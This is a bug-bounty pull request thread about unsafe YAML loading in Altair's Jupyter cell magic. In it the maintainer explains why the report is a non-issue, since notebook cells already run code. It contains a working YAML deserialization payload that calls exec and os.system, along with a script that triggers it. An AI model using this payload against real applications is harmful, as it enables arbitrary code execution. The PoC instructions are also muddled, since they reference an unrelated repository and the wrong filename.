Fixed Arbitary Code Execution

[Anon-Artist]

📊 Metadata *

Altair is a declarative statistical visualization library for Python. With Altair, you can spend more time understanding your data and its meaning. Altair's API is simple, friendly and consistent and built on top of the powerful Vega-Lite JSON specification. This elegant simplicity produces beautiful and effective visualizations with a minimal amount of code. Altair is developed by Jake Vanderplas and Brian Granger in close collaboration with the UW Interactive Data package is vulnerable to Arbitrary Code Execution.

Bounty URL: https://www.huntr.dev/bounties/1-pip-altair

⚙️ Description *

Vulnerable to YAML deserialization attack caused by unsafe loading.

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

git clone http://github.com/vitessio/arewefastyet

Create the following PoC file:
exploit.yaml

import os
# installation 
os.system("pip install altair vega_datasets")
#
import altair._magics as magics
payload = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
with open("exploit.yml","w+") as cell :
    cell.write(payload)
with open("exploit.yml","r+") as cell :
    magics.vegalite("1",cell)

Execute the commands in another terminal:

python3 config.py

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix Arbitary Code execution will never happen.

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

🔗 Relates to...

https://www.huntr.dev/bounties/1-pip-altair

[huntr-helper]

👋 Hello, @jakevdp - @Anon-Artist has opened a PR to us with a fix for a potential vulnerability in your repository. To view the vulnerability, please refer to the bounty URL in the first comment, above.

Ultimately, you get to decide if the fix is 👍 or 👎. If you are happy with the fix, please write a new comment (@huntr-helper - LGTM) and we will open a PR to your repository with the fix. All remaining PRs for this vulnerability will be automatically closed.

If you have any questions or need support, come and join us on our community Discord!

@jakevdp & @Anon-Artist - thank you for your efforts in securing the world’s open source code! 🎉

---

🔨 Want more security researchers protecting your repository?

Stick our badge on your README.md, and let security researchers know that they can win bounties protecting your repositories. Sounds cool, huh? 😎

Copy this small code snippet and insert it into your README.md:

[![huntr](https://cdn.huntr.dev/huntr_security_badge.svg)](https://huntr.dev)

👇 👇 👇

[jakevdp]

Thanks - I deliberately used FullLoader here because the magic is used in a context where arbitrary code can already be executed (a jupyter notebook code cell) and so it causes no security vulnerability beyond what is already present.

[Anon-Artist]

Thanks - I deliberately used FullLoader here because the magic is used in a context where arbitrary code can already be executed (a jupyter notebook code cell) and so it causes no security vulnerability beyond what is already present.

Thanks for your quick response @jakevdp but I think i can mention that in the era of secure coding most of the popular packages are moved on from FullLoader to SafeLoader.
There is no breaking of code happen when changes to SafeLoader and @B3EF Found this issue what you think about it @B3EF

[B3EF]

@jakevdp , @Anon-Artist ,

i think the fix isn't going to break any functionalities here , i think so , like at huntr similar fixes have been applied to microsoft repos like qlib lately.

this fix just restricts the unsafe things .

[jakevdp]

To be clear, in practice the exploit would look like this in a jupyter notebook cell:

%%vegalite
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"

After this fix, you could still accomplish the same thing by writing:

import os
os.system('xcalc')

Jupyter notebook already allows arbitrary code execution, so I'm not concerned about the yaml parser offering a backdoor to the same thing.

[Anon-Artist]

OK If this is intended then i think we can close this PR @JamieSlome and thanks for your time

…

On Tue, Feb 23, 2021, 3:43 AM Jake Vanderplas ***@***.***> wrote: To be clear, in practice the exploit would look like this: %%vegalite !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('xcalc')" After this fix, you could still do the same thing with this: import osos.system('xcalc') Jupyter notebook already allows arbitrary code execution, so I'm not concerned about the yaml parser offering a backdoor to the same thing. — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#1 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AOV66JRS5JSXAPWASLRQQI3TALJI7ANCNFSM4YBF2TCA> .

[B3EF]

Hi @Anon-Artist @jakevdp ,
anyway please do refer these to know more about yaml deserialization attack https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf , executing a code directly from a jupyter notebook shell with os.system command and executing a code through an unsafe program through the parser functions are two different things , anyway thanks for your immediate responses .

[jakevdp]

Thanks – I understand the potential attack mechanism here. I should have been more clear: the reason this is a non-issue is because the only context in which this code-path is used is for parsing the contents of a Jupyter code cell via a Jupyter cell magic; as such, arbitrary code execution is already possible by design. If this were used in another context, this patch would be correct, but the code is never used in any other context.

[B3EF]

oh ok @jakevdp thanks for the clearance .
<3